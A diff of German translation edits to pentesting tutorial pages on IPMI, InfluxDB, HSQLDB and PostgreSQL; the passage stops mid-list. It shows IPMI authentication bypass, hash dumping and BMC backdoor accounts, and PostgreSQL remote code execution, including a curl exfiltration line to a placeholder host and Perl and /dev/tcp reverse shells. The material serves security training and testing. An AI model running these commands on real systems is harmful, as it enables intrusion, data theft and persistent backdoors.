Seit seiner Einführung durch Intel im Jahr 1998 wird IPMI von zahlreichen Anbietern unterstützt, was die Möglichkeiten des Remote-Managements verbessert, insbesondere mit der Unterstützung von Version 2.0 für serielle Verbindungen über LAN. Zu den Hauptkomponenten gehören:
|
||||
|
||||
- **Baseboard Management Controller (BMC):** Der Hauptmikrocontroller für IPMI-Operationen.
|
||||
- **Kommunikationsbusse und -schnittstellen:** Für interne und externe Kommunikation, einschließlich ICMB, IPMB und verschiedenen Schnittstellen für lokale und Netzwerkverbindungen.
|
||||
@ -27,7 +24,7 @@ Seit seiner Einführung durch Intel im Jahr 1998 wird IPMI von zahlreichen Anbie
|
||||
|
||||
**Standardport**: 623/UDP/TCP (Es läuft normalerweise über UDP, kann aber auch über TCP betrieben werden)
|
||||
|
||||
## Aufzählung
|
||||
## Enumeration
|
||||
|
||||
### Entdeckung
|
||||
```bash
|
||||
@ -42,11 +39,11 @@ nmap -sU --script ipmi-version -p 623 10.10.10.10
|
||||
```
|
||||
### IPMI-Sicherheitsanfälligkeiten
|
||||
|
||||
Im Bereich von IPMI 2.0 wurde von Dan Farmer ein bedeutender Sicherheitsfehler entdeckt, der eine Anfälligkeit durch **Cipher-Typ 0** aufdeckte. Diese Anfälligkeit, die detailliert in [Dan Farmers Forschung](http://fish2.com/ipmi/cipherzero.html) dokumentiert ist, ermöglicht unbefugten Zugriff mit jedem Passwort, sofern ein gültiger Benutzer ins Visier genommen wird. Diese Schwäche wurde bei verschiedenen BMCs von Herstellern wie HP, Dell und Supermicro gefunden, was auf ein weit verbreitetes Problem in allen IPMI 2.0-Implementierungen hindeutet.
|
||||
Im Bereich von IPMI 2.0 wurde von Dan Farmer eine bedeutende Sicherheitsanfälligkeit entdeckt, die eine Schwachstelle durch **Cipher-Typ 0** aufdeckte. Diese Schwachstelle, die detailliert in [Dan Farmers Forschung](http://fish2.com/ipmi/cipherzero.html) dokumentiert ist, ermöglicht unbefugten Zugriff mit jedem Passwort, sofern ein gültiger Benutzer ins Visier genommen wird. Diese Schwäche wurde bei verschiedenen BMCs von Herstellern wie HP, Dell und Supermicro gefunden, was auf ein weit verbreitetes Problem in allen IPMI 2.0-Implementierungen hindeutet.
|
||||
|
||||
### **IPMI-Authentifizierungsumgehung über Cipher 0**
|
||||
|
||||
Um diesen Fehler zu erkennen, kann der folgende Metasploit-Hilfsscanner verwendet werden:
|
||||
Um diese Schwachstelle zu erkennen, kann der folgende Metasploit-Hilfsscanner verwendet werden:
|
||||
```bash
|
||||
use auxiliary/scanner/ipmi/ipmi_cipher_zero
|
||||
```
|
||||
@ -58,7 +55,7 @@ ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123
|
||||
```
|
||||
### **IPMI 2.0 RAKP-Authentifizierung Remote-Passwort-Hash-Abfrage**
|
||||
|
||||
Diese Schwachstelle ermöglicht die Abfrage von gesalzenen Hash-Passwörtern (MD5 und SHA1) für jeden vorhandenen Benutzernamen. Um diese Schwachstelle zu testen, bietet Metasploit ein Modul an:
|
||||
Diese Schwachstelle ermöglicht die Abfrage von gesalzenen, gehashten Passwörtern (MD5 und SHA1) für jeden vorhandenen Benutzernamen. Um diese Schwachstelle zu testen, bietet Metasploit ein Modul an:
|
||||
```bash
|
||||
msf > use auxiliary/scanner/ipmi/ipmi_dumphashes
|
||||
```
|
||||
@ -86,7 +83,7 @@ msf> use exploit/multi/upnp/libupnp_ssdp_overflow
|
||||
**HP randomisiert das Standardpasswort** für sein **Integrated Lights Out (iLO)** Produkt während der Herstellung. Diese Praxis steht im Gegensatz zu anderen Herstellern, die dazu neigen, **statische Standardanmeldeinformationen** zu verwenden. Eine Zusammenfassung der Standardbenutzernamen und -passwörter für verschiedene Produkte ist wie folgt:
|
||||
|
||||
- **HP Integrated Lights Out (iLO)** verwendet eine **fabrikmäßig randomisierte 8-Zeichen-Zeichenfolge** als Standardpasswort, was ein höheres Sicherheitsniveau zeigt.
|
||||
- Produkte wie **Dell's iDRAC, IBM's IMM** und **Fujitsu's Integrated Remote Management Controller** verwenden leicht zu erratende Passwörter wie "calvin", "PASSW0RD" (mit einer Null) und "admin".
|
||||
- Produkte wie **Dells iDRAC, IBMs IMM** und **Fujitsus Integrated Remote Management Controller** verwenden leicht zu erratende Passwörter wie "calvin", "PASSW0RD" (mit einer Null) und "admin".
|
||||
- Ebenso verwenden **Supermicro IPMI (2.0), Oracle/Sun ILOM** und **ASUS iKVM BMC** ebenfalls einfache Standardanmeldeinformationen, wobei "ADMIN", "changeme" und "admin" als ihre Passwörter dienen.
|
||||
|
||||
## Accessing the Host via BMC
|
||||
@ -95,7 +92,7 @@ Der administrative Zugriff auf den Baseboard Management Controller (BMC) eröffn
|
||||
|
||||
## Introducing Backdoors into BMC from the Host
|
||||
|
||||
Nach der Kompromittierung eines Hosts, der mit einem BMC ausgestattet ist, kann die **lokale BMC-Schnittstelle genutzt werden, um ein Backdoor-Benutzerkonto einzufügen**, was eine dauerhafte Präsenz auf dem Server schafft. Dieser Angriff erfordert das Vorhandensein von **`ipmitool`** auf dem kompromittierten Host und die Aktivierung der BMC-Treibersupport. Die folgenden Befehle veranschaulichen, wie ein neues Benutzerkonto in das BMC über die lokale Schnittstelle des Hosts injiziert werden kann, was die Notwendigkeit einer Authentifizierung umgeht. Diese Technik ist auf eine Vielzahl von Betriebssystemen anwendbar, einschließlich Linux, Windows, BSD und sogar DOS.
|
||||
Nach der Kompromittierung eines Hosts, der mit einem BMC ausgestattet ist, kann die **lokale BMC-Schnittstelle genutzt werden, um ein Backdoor-Benutzerkonto einzufügen**, was eine dauerhafte Präsenz auf dem Server schafft. Dieser Angriff erfordert das Vorhandensein von **`ipmitool`** auf dem kompromittierten Host und die Aktivierung der BMC-Treiberunterstützung. Die folgenden Befehle veranschaulichen, wie ein neues Benutzerkonto in das BMC über die lokale Schnittstelle des Hosts injiziert werden kann, was die Notwendigkeit einer Authentifizierung umgeht. Diese Technik ist auf eine Vielzahl von Betriebssystemen anwendbar, einschließlich Linux, Windows, BSD und sogar DOS.
|
||||
```bash
|
||||
ipmitool user list
|
||||
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
|
||||
|
@ -1,9 +1,8 @@
|
||||
# 8086 - Pentesting InfluxDB
|
||||
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Grundlegende Informationen
|
||||
## Grundinformationen
|
||||
|
||||
**InfluxDB** ist eine Open-Source **Zeitreihendatenbank (TSDB)**, die von InfluxData entwickelt wurde. TSDBs sind optimiert für die Speicherung und Bereitstellung von Zeitreihendaten, die aus Zeitstempel-Wert-Paaren bestehen. Im Vergleich zu allgemeinen Datenbanken bieten TSDBs erhebliche Verbesserungen in **Speicherplatz** und **Leistung** für Zeitreihendatensätze. Sie verwenden spezialisierte Kompressionsalgorithmen und können so konfiguriert werden, dass alte Daten automatisch entfernt werden. Spezialisierte Datenbankindizes verbessern ebenfalls die Abfrageleistung.
|
||||
|
||||
@ -12,19 +11,19 @@
|
||||
PORT STATE SERVICE VERSION
|
||||
8086/tcp open http InfluxDB http admin 1.7.5
|
||||
```
|
||||
## Aufzählung
|
||||
## Enumeration
|
||||
|
||||
Aus der Sicht eines Pentesters ist dies eine weitere Datenbank, die sensible Informationen speichern könnte, daher ist es interessant zu wissen, wie man alle Informationen dumpen kann.
|
||||
|
||||
### Authentifizierung
|
||||
### Authentication
|
||||
|
||||
InfluxDB könnte eine Authentifizierung erfordern oder auch nicht.
|
||||
InfluxDB könnte eine Authentifizierung erfordern oder nicht
|
||||
```bash
|
||||
# Try unauthenticated
|
||||
influx -host 'host name' -port 'port #'
|
||||
> use _internal
|
||||
```
|
||||
Wenn Sie **einen Fehler wie** diesen erhalten: `ERR: unable to parse authentication credentials`, bedeutet das, dass **es einige Anmeldeinformationen erwartet**.
|
||||
Wenn Sie **einen Fehler wie** diesen erhalten: `ERR: unable to parse authentication credentials`, bedeutet das, dass **einige Anmeldeinformationen erwartet werden**.
|
||||
```
|
||||
influx –username influx –password influx_pass
|
||||
```
|
||||
@ -45,7 +44,7 @@ name
|
||||
telegraf
|
||||
_internal
|
||||
```
|
||||
#### Tabellen/Messungen anzeigen
|
||||
#### Zeige Tabellen/Messungen
|
||||
|
||||
Die [**InfluxDB-Dokumentation**](https://docs.influxdata.com/influxdb/v1.2/introduction/getting_started/) erklärt, dass **Messungen** in InfluxDB mit SQL-Tabellen parallelisiert werden können. Die Nomenklatur dieser **Messungen** ist indikativ für ihren jeweiligen Inhalt, wobei jede Daten relevant für eine bestimmte Entität enthält.
|
||||
```bash
|
||||
@ -87,7 +86,7 @@ inodes_used integer
|
||||
```
|
||||
#### Dump Table
|
||||
|
||||
Und schließlich können Sie **die Tabelle dumpen**, indem Sie etwas wie
|
||||
Und schließlich kannst du **die Tabelle dumpen**, indem du etwas wie
|
||||
```bash
|
||||
select * from cpu
|
||||
name: cpu
|
||||
@ -97,7 +96,7 @@ time cpu host usage_guest usage_guest_nice usage_idle
|
||||
1497018760000000000 cpu1 ubuntu 0 0 99.69909729188728 0 0 0 0 0 0.20060180541622202 0.10030090270811101
|
||||
```
|
||||
> [!WARNING]
|
||||
> Bei einigen Tests mit dem Authentifizierungsumgehung wurde festgestellt, dass der Name der Tabelle in doppelte Anführungszeichen gesetzt werden musste, wie: `select * from "cpu"`
|
||||
> Bei einigen Tests mit dem Authentifizierungs-Bypass wurde festgestellt, dass der Name der Tabelle in doppelten Anführungszeichen stehen musste, wie: `select * from "cpu"`
|
||||
|
||||
### Automatisierte Authentifizierung
|
||||
```bash
|
||||
|
@ -1,18 +1,18 @@
|
||||
# 9001 - Pentesting HSQLDB
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
# Grundlegende Informationen
|
||||
## Grundinformationen
|
||||
|
||||
**HSQLDB \([HyperSQL DataBase](http://hsqldb.org/)\)** ist das führende SQL-Relationale-Datenbanksystem, das in Java geschrieben ist. Es bietet eine kleine, schnelle, multithreaded und transaktionale Datenbank-Engine mit In-Memory- und festplattenbasierten Tabellen und unterstützt eingebettete und Server-Modi.
|
||||
**HSQLDB \([HyperSQL DataBase](http://hsqldb.org/)\)** ist das führende SQL-Relationale Datenbanksystem, das in Java geschrieben ist. Es bietet eine kleine, schnelle, multithreaded und transaktionale Datenbank-Engine mit In-Memory- und datenträgerbasierten Tabellen und unterstützt eingebettete und Server-Modi.
|
||||
|
||||
**Standardport:** 9001
|
||||
```text
|
||||
9001/tcp open jdbc HSQLDB JDBC (Network Compatibility Version 2.3.4.0)
|
||||
```
|
||||
# Informationen
|
||||
## Standard-Einstellungen
|
||||
|
||||
### Standardeinstellungen
|
||||
|
||||
Beachten Sie, dass dieser Dienst standardmäßig wahrscheinlich im Speicher läuft oder an localhost gebunden ist. Wenn Sie ihn gefunden haben, haben Sie wahrscheinlich einen anderen Dienst ausgenutzt und suchen nach einer Erhöhung der Berechtigungen.
|
||||
Beachten Sie, dass dieser Dienst standardmäßig wahrscheinlich im Speicher läuft oder an localhost gebunden ist. Wenn Sie ihn gefunden haben, haben Sie wahrscheinlich einen anderen Dienst ausgenutzt und versuchen, die Berechtigungen zu erhöhen.
|
||||
|
||||
Die Standardanmeldeinformationen sind normalerweise `sa` mit einem leeren Passwort.
|
||||
|
||||
@ -20,25 +20,25 @@ Wenn Sie einen anderen Dienst ausgenutzt haben, suchen Sie nach möglichen Anmel
|
||||
```text
|
||||
grep -rP 'jdbc:hsqldb.*password.*' /path/to/search
|
||||
```
|
||||
Beachten Sie den Datenbanknamen sorgfältig - Sie benötigen ihn zur Verbindung.
|
||||
Beachten Sie den Datenbanknamen sorgfältig - Sie benötigen ihn, um eine Verbindung herzustellen.
|
||||
|
||||
# Informationssammlung
|
||||
## Informationssammlung
|
||||
|
||||
Verbinden Sie sich mit der DB-Instanz, indem Sie [HSQLDB herunterladen](https://sourceforge.net/projects/hsqldb/files/) und `hsqldb/lib/hsqldb.jar` extrahieren. Führen Sie die GUI-App \(eww\) mit `java -jar hsqldb.jar` aus und verbinden Sie sich mit der Instanz unter Verwendung der entdeckten/schwachen Anmeldeinformationen.
|
||||
Stellen Sie eine Verbindung zur DB-Instanz her, indem Sie [HSQLDB herunterladen](https://sourceforge.net/projects/hsqldb/files/) und `hsqldb/lib/hsqldb.jar` extrahieren. Führen Sie die GUI-App \(eww\) mit `java -jar hsqldb.jar` aus und verbinden Sie sich mit der Instanz unter Verwendung der entdeckten/schwachen Anmeldeinformationen.
|
||||
|
||||
Beachten Sie, dass die Verbindungs-URL für ein entferntes System ungefähr so aussehen wird: `jdbc:hsqldb:hsql://ip/DBNAME`.
|
||||
|
||||
# Tricks
|
||||
## Tricks
|
||||
|
||||
## Java-Sprachroutinen
|
||||
### Java Language Routines
|
||||
|
||||
Wir können statische Methoden einer Java-Klasse von HSQLDB aus über Java-Sprachroutinen aufrufen. Beachten Sie, dass die aufgerufene Klasse im Klassenpfad der Anwendung vorhanden sein muss.
|
||||
Wir können statische Methoden einer Java-Klasse von HSQLDB aus über Java Language Routines aufrufen. Beachten Sie, dass die aufgerufene Klasse im Klassenpfad der Anwendung vorhanden sein muss.
|
||||
|
||||
JRTs können `Funktionen` oder `Prozeduren` sein. Funktionen können über SQL-Anweisungen aufgerufen werden, wenn die Java-Methode eine oder mehrere SQL-kompatible primitive Variablen zurückgibt. Sie werden mit der `VALUES`-Anweisung aufgerufen.
|
||||
|
||||
Wenn die Java-Methode, die wir aufrufen möchten, void zurückgibt, müssen wir eine Prozedur verwenden, die mit der `CALL`-Anweisung aufgerufen wird.
|
||||
|
||||
## Lesen von Java-Systemeigenschaften
|
||||
### Lesen von Java-Systemeigenschaften
|
||||
|
||||
Funktion erstellen:
|
||||
```text
|
||||
@ -52,9 +52,9 @@ VALUES(getsystemproperty('user.name'))
|
||||
```
|
||||
Sie können eine [Liste der Systemeigenschaften hier finden](https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html).
|
||||
|
||||
## Inhalt in Datei schreiben
|
||||
### Inhalt in Datei schreiben
|
||||
|
||||
Sie können das `com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename` Java-Gadget verwenden, das sich im JDK befindet \(automatisch in den Klassenpfad der Anwendung geladen\), um hexadezimal codierte Elemente über ein benutzerdefiniertes Verfahren auf die Festplatte zu schreiben. **Beachten Sie die maximale Größe von 1024 Bytes**.
|
||||
Sie können das `com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename` Java-Gadget verwenden, das im JDK \(automatisch in den Klassenpfad der Anwendung geladen\) enthalten ist, um hexadezimal codierte Elemente über ein benutzerdefiniertes Verfahren auf die Festplatte zu schreiben. **Beachten Sie die maximale Größe von 1024 Bytes**.
|
||||
|
||||
Erstellen Sie das Verfahren:
|
||||
```text
|
||||
|
@ -1,11 +1,10 @@
|
||||
# 5432,5433 - Pentesting Postgresql
|
||||
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## **Grundinformationen**
|
||||
|
||||
**PostgreSQL** wird als ein **objekt-relationales Datenbanksystem** beschrieben, das **open source** ist. Dieses System nutzt nicht nur die SQL-Sprache, sondern erweitert sie auch mit zusätzlichen Funktionen. Seine Fähigkeiten ermöglichen es, eine Vielzahl von Datentypen und -operationen zu verarbeiten, was es zu einer vielseitigen Wahl für Entwickler und Organisationen macht.
|
||||
**PostgreSQL** wird als ein **objekt-relationales Datenbanksystem** beschrieben, das **Open Source** ist. Dieses System nutzt nicht nur die SQL-Sprache, sondern erweitert sie auch mit zusätzlichen Funktionen. Seine Fähigkeiten ermöglichen es, eine Vielzahl von Datentypen und -operationen zu verarbeiten, was es zu einer vielseitigen Wahl für Entwickler und Organisationen macht.
|
||||
|
||||
**Standardport:** 5432, und wenn dieser Port bereits verwendet wird, scheint es, dass PostgreSQL den nächsten verfügbaren Port (wahrscheinlich 5433) verwenden wird.
|
||||
```
|
||||
@ -109,27 +108,27 @@ In PL/pgSQL-Funktionen ist es derzeit nicht möglich, Ausnahmeinformationen zu e
|
||||
### Rollen
|
||||
|
||||
| Rollentypen | |
|
||||
| --------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| rolsuper | Rolle hat Superuser-Berechtigungen |
|
||||
| rolinherit | Rolle erbt automatisch die Berechtigungen der Rollen, deren Mitglied sie ist |
|
||||
| rolcreaterole | Rolle kann weitere Rollen erstellen |
|
||||
| rolcreatedb | Rolle kann Datenbanken erstellen |
|
||||
| rolcanlogin | Rolle kann sich anmelden. Das heißt, diese Rolle kann als die anfängliche Sitzungsautorisierungskennung angegeben werden. |
|
||||
| rolreplication | Rolle ist eine Replikationsrolle. Eine Replikationsrolle kann Replikationsverbindungen initiieren und Replikationsslots erstellen und löschen. |
|
||||
| rolconnlimit | Für Rollen, die sich anmelden können, legt dies die maximale Anzahl gleichzeitiger Verbindungen fest, die diese Rolle herstellen kann. -1 bedeutet kein Limit. |
|
||||
| rolpassword | Nicht das Passwort (wird immer als `********` angezeigt) |
|
||||
| rolvaliduntil | Passwortablaufzeit (nur für die Passwortauthentifizierung verwendet); null, wenn keine Ablaufzeit vorhanden ist |
|
||||
| rolbypassrls | Rolle umgeht jede Zeilenebene-Sicherheitsrichtlinie, siehe [Abschnitt 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html) für weitere Informationen. |
|
||||
| rolconfig | Rollenspezifische Standardwerte für Laufzeitkonfigurationsvariablen |
|
||||
| oid | ID der Rolle |
|
||||
| -------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| rolsuper | Rolle hat Superuser-Berechtigungen |
|
||||
| rolinherit | Rolle erbt automatisch die Berechtigungen der Rollen, deren Mitglied sie ist |
|
||||
| rolcreaterole | Rolle kann weitere Rollen erstellen |
|
||||
| rolcreatedb | Rolle kann Datenbanken erstellen |
|
||||
| rolcanlogin | Rolle kann sich anmelden. Das heißt, diese Rolle kann als die anfängliche Sitzungsautorisierungskennung angegeben werden. |
|
||||
| rolreplication | Rolle ist eine Replikationsrolle. Eine Replikationsrolle kann Replikationsverbindungen initiieren und Replikationsslots erstellen und löschen. |
|
||||
| rolconnlimit | Für Rollen, die sich anmelden können, legt dies die maximale Anzahl gleichzeitiger Verbindungen fest, die diese Rolle herstellen kann. -1 bedeutet kein Limit. |
|
||||
| rolpassword | Nicht das Passwort (wird immer als `********` angezeigt) |
|
||||
| rolvaliduntil | Passwortablaufzeit (nur für die Passwortauthentifizierung verwendet); null, wenn keine Ablaufzeit vorhanden ist |
|
||||
| rolbypassrls | Rolle umgeht jede Zeilenebene-Sicherheitsrichtlinie, siehe [Section 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html) für weitere Informationen. |
|
||||
| rolconfig | Rollenspezifische Standardwerte für Laufzeitkonfigurationsvariablen |
|
||||
| oid | ID der Rolle |
|
||||
|
||||
#### Interessante Gruppen
|
||||
|
||||
- Wenn Sie Mitglied von **`pg_execute_server_program`** sind, können Sie **Programme ausführen**.
|
||||
- Wenn Sie Mitglied von **`pg_read_server_files`** sind, können Sie **Dateien lesen**.
|
||||
- Wenn Sie Mitglied von **`pg_write_server_files`** sind, können Sie **Dateien schreiben**.
|
||||
- Wenn Sie Mitglied von **`pg_execute_server_program`** sind, können Sie **Programme ausführen**
|
||||
- Wenn Sie Mitglied von **`pg_read_server_files`** sind, können Sie **Dateien lesen**
|
||||
- Wenn Sie Mitglied von **`pg_write_server_files`** sind, können Sie **Dateien schreiben**
|
||||
|
||||
> [!NOTE]
|
||||
> [!TIP]
|
||||
> Beachten Sie, dass in Postgres ein **Benutzer**, eine **Gruppe** und eine **Rolle** dasselbe sind. Es hängt nur davon ab, **wie Sie es verwenden** und ob Sie **es zur Anmeldung zulassen**.
|
||||
```sql
|
||||
# Get users roles
|
||||
@ -212,7 +211,7 @@ SELECT * FROM pg_proc;
|
||||
|
||||
### Verzeichnisse und Dateien lesen
|
||||
|
||||
Von diesem [**Commit**](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a) können Mitglieder der definierten **`DEFAULT_ROLE_READ_SERVER_FILES`**-Gruppe (genannt **`pg_read_server_files`**) und **Superbenutzer** die **`COPY`**-Methode auf jedem Pfad verwenden (siehe `convert_and_check_filename` in `genfile.c`):
|
||||
Von diesem [**Commit** ](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a) können Mitglieder der definierten **`DEFAULT_ROLE_READ_SERVER_FILES`**-Gruppe (genannt **`pg_read_server_files`**) und **Superbenutzer** die **`COPY`**-Methode auf jedem Pfad verwenden (siehe `convert_and_check_filename` in `genfile.c`):
|
||||
```sql
|
||||
# Read file
|
||||
CREATE TABLE demo(t text);
|
||||
@ -254,7 +253,7 @@ GRANT pg_read_server_files TO username;
|
||||
```
|
||||
Sie können **weitere Funktionen** unter [https://www.postgresql.org/docs/current/functions-admin.html](https://www.postgresql.org/docs/current/functions-admin.html) finden.
|
||||
|
||||
### Einfaches Schreiben von Dateien
|
||||
### Einfaches Dateischreiben
|
||||
|
||||
Nur **Superbenutzer** und Mitglieder von **`pg_write_server_files`** können copy verwenden, um Dateien zu schreiben.
|
||||
```sql
|
||||
@ -280,15 +279,13 @@ Es gibt jedoch **andere Techniken, um große Binärdateien hochzuladen:**
|
||||
../pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
|
||||
### Aktualisieren von PostgreSQL-Tabellendaten über lokale Dateischreibung
|
||||
|
||||
Wenn Sie die erforderlichen Berechtigungen zum Lesen und Schreiben von PostgreSQL-Serverdateien haben, können Sie jede Tabelle auf dem Server aktualisieren, indem Sie **die zugehörige Dateiknoten überschreiben** im [PostgreSQL-Datenverzeichnis](https://www.postgresql.org/docs/8.1/storage.html). **Mehr zu dieser Technik** [**hier**](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users).
|
||||
Wenn Sie die erforderlichen Berechtigungen zum Lesen und Schreiben von PostgreSQL-Serverdateien haben, können Sie jede Tabelle auf dem Server aktualisieren, indem Sie **den zugehörigen Dateiknoten überschreiben** im [PostgreSQL-Datenverzeichnis](https://www.postgresql.org/docs/8.1/storage.html). **Mehr zu dieser Technik** [**hier**](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users).
|
||||
|
||||
Erforderliche Schritte:
|
||||
|
||||
1. Ermitteln Sie das PostgreSQL-Datenverzeichnis
|
||||
1. Erhalten Sie das PostgreSQL-Datenverzeichnis
|
||||
|
||||
```sql
|
||||
SELECT setting FROM pg_settings WHERE name = 'data_directory';
|
||||
@ -296,7 +293,7 @@ SELECT setting FROM pg_settings WHERE name = 'data_directory';
|
||||
|
||||
**Hinweis:** Wenn Sie den aktuellen Datenverzeichnispfad aus den Einstellungen nicht abrufen können, können Sie die Hauptversion von PostgreSQL über die `SELECT version()`-Abfrage abfragen und versuchen, den Pfad zu brute-forcen. Häufige Datenverzeichnispfade auf Unix-Installationen von PostgreSQL sind `/var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/`. Ein häufiger Clustername ist `main`.
|
||||
|
||||
2. Ermitteln Sie einen relativen Pfad zum Dateiknoten, der mit der Ziel-Tabelle verbunden ist
|
||||
2. Erhalten Sie einen relativen Pfad zum Dateiknoten, der mit der Zieltabelle verbunden ist
|
||||
|
||||
```sql
|
||||
SELECT pg_relation_filepath('{TABLE_NAME}')
|
||||
@ -310,7 +307,7 @@ Diese Abfrage sollte etwas wie `base/3/1337` zurückgeben. Der vollständige Pfa
|
||||
SELECT lo_import('{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}',13337)
|
||||
```
|
||||
|
||||
4. Erhalten Sie den Datentyp, der mit der Ziel-Tabelle verbunden ist
|
||||
4. Erhalten Sie den Datentyp, der mit der Zieltabelle verbunden ist
|
||||
|
||||
```sql
|
||||
SELECT
|
||||
@ -361,11 +358,11 @@ Sie können auch ein Superadmin werden, indem Sie die `pg_authid`-Tabelle bearbe
|
||||
|
||||
### **RCE zu Programm**
|
||||
|
||||
Seit [Version 9.3](https://www.postgresql.org/docs/9.3/release-9-3.html) können nur **Superuser** und Mitglieder der Gruppe **`pg_execute_server_program`** copy für RCE verwenden (Beispiel mit Exfiltration:
|
||||
Seit [Version 9.3](https://www.postgresql.org/docs/9.3/release-9-3.html) können nur **Superuser** und Mitglieder der Gruppe **`pg_execute_server_program`** COPY für RCE verwenden (Beispiel mit Exfiltration:
|
||||
```sql
|
||||
'; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- -
|
||||
```
|
||||
Beispiel zum Ausführen:
|
||||
Beispiel für exec:
|
||||
```bash
|
||||
#PoC
|
||||
DROP TABLE IF EXISTS cmd_exec;
|
||||
@ -388,7 +385,7 @@ COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::I
|
||||
> [**Weitere Informationen.**](pentesting-postgresql.md#privilege-escalation-with-createrole)
|
||||
|
||||
Oder verwenden Sie das `multi/postgres/postgres_copy_from_program_cmd_exec`-Modul von **metasploit**.\
|
||||
Weitere Informationen zu dieser Schwachstelle [**hier**](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5). Obwohl als CVE-2019-9193 gemeldet, erklärte Postgres, dass dies ein [Feature ist und nicht behoben wird](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/).
|
||||
Weitere Informationen zu dieser Schwachstelle [**hier**](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5). Obwohl als CVE-2019-9193 gemeldet, erklärte Postges, dass dies ein [Feature sei und nicht behoben wird](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/).
|
||||
|
||||
### RCE mit PostgreSQL-Sprachen
|
||||
|
||||
@ -406,10 +403,10 @@ Sobald Sie **gelernt** haben, **wie man Binärdateien hochlädt**, könnten Sie
|
||||
|
||||
### RCE mit der PostgreSQL-Konfigurationsdatei
|
||||
|
||||
> [!NOTE]
|
||||
> [!TIP]
|
||||
> Die folgenden RCE-Vektoren sind besonders nützlich in eingeschränkten SQLi-Kontexten, da alle Schritte durch geschachtelte SELECT-Anweisungen durchgeführt werden können.
|
||||
|
||||
Die **Konfigurationsdatei** von PostgreSQL ist **beschreibbar** durch den **Postgres-Benutzer**, der die Datenbank ausführt, sodass Sie als **Superbenutzer** Dateien im Dateisystem schreiben können und daher diese Datei **überschreiben** können.
|
||||
Die **Konfigurationsdatei** von PostgreSQL ist **beschreibbar** durch den **Postgres-Benutzer**, der die Datenbank ausführt, sodass Sie als **Superbenutzer** Dateien im Dateisystem schreiben können und daher diese Datei **überschreiben können.**
|
||||
|
||||
.png>)
|
||||
|
||||
@ -429,13 +426,13 @@ Dann muss ein Angreifer:
|
||||
2. **Verschlüsseln** des heruntergeladenen privaten Schlüssels:
|
||||
1. `rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key`
|
||||
3. **Überschreiben**
|
||||
4. **Dumpen** der aktuellen PostgreSQL **Konfiguration**
|
||||
4. **Aktuellen PostgreSQL**-**Konfigurations**-Dump
|
||||
5. **Überschreiben** der **Konfiguration** mit der Konfiguration der genannten Attribute:
|
||||
1. `ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'`
|
||||
2. `ssl_passphrase_command_supports_reload = on`
|
||||
6. Führen Sie `pg_reload_conf()` aus
|
||||
|
||||
Während ich dies testete, stellte ich fest, dass dies nur funktioniert, wenn die **Privatschlüsseldatei die Berechtigungen 640 hat**, **von root** besessen wird und von der **Gruppe ssl-cert oder postgres** (damit der Postgres-Benutzer sie lesen kann) und sich in _/var/lib/postgresql/12/main_ befindet.
|
||||
Während ich dies testete, stellte ich fest, dass dies nur funktioniert, wenn die **Privatdatei die Berechtigungen 640 hat**, **im Besitz von root ist** und von der **Gruppe ssl-cert oder postgres** (damit der Postgres-Benutzer sie lesen kann) und sich in _/var/lib/postgresql/12/main_ befindet.
|
||||
|
||||
#### **RCE mit archive_command**
|
||||
|
||||
@ -459,17 +456,17 @@ Weitere Informationen [zu dieser Technik hier](https://adeadfed.com/posts/postgr
|
||||
Dieser Angriffsvektor nutzt die folgenden Konfigurationsvariablen aus:
|
||||
|
||||
- `session_preload_libraries` -- Bibliotheken, die vom PostgreSQL-Server bei der Clientverbindung geladen werden.
|
||||
- `dynamic_library_path` -- Liste der Verzeichnisse, in denen der PostgreSQL-Server nach den Bibliotheken sucht.
|
||||
- `dynamic_library_path` -- Liste von Verzeichnissen, in denen der PostgreSQL-Server nach den Bibliotheken sucht.
|
||||
|
||||
Wir können den Wert von `dynamic_library_path` auf ein Verzeichnis setzen, das vom `postgres`-Benutzer, der die Datenbank ausführt, beschreibbar ist, z.B. das Verzeichnis `/tmp/`, und dort ein bösartiges `.so`-Objekt hochladen. Als nächstes zwingen wir den PostgreSQL-Server, unsere neu hochgeladene Bibliothek zu laden, indem wir sie in die Variable `session_preload_libraries` aufnehmen.
|
||||
Wir können den Wert von `dynamic_library_path` auf ein Verzeichnis setzen, das vom `postgres`-Benutzer, der die Datenbank ausführt, beschreibbar ist, z.B. das Verzeichnis `/tmp/`, und dort ein bösartiges `.so`-Objekt hochladen. Als Nächstes zwingen wir den PostgreSQL-Server, unsere neu hochgeladene Bibliothek zu laden, indem wir sie in der Variablen `session_preload_libraries` einfügen.
|
||||
|
||||
Die Angriffsschritte sind:
|
||||
|
||||
1. Die originale `postgresql.conf` herunterladen
|
||||
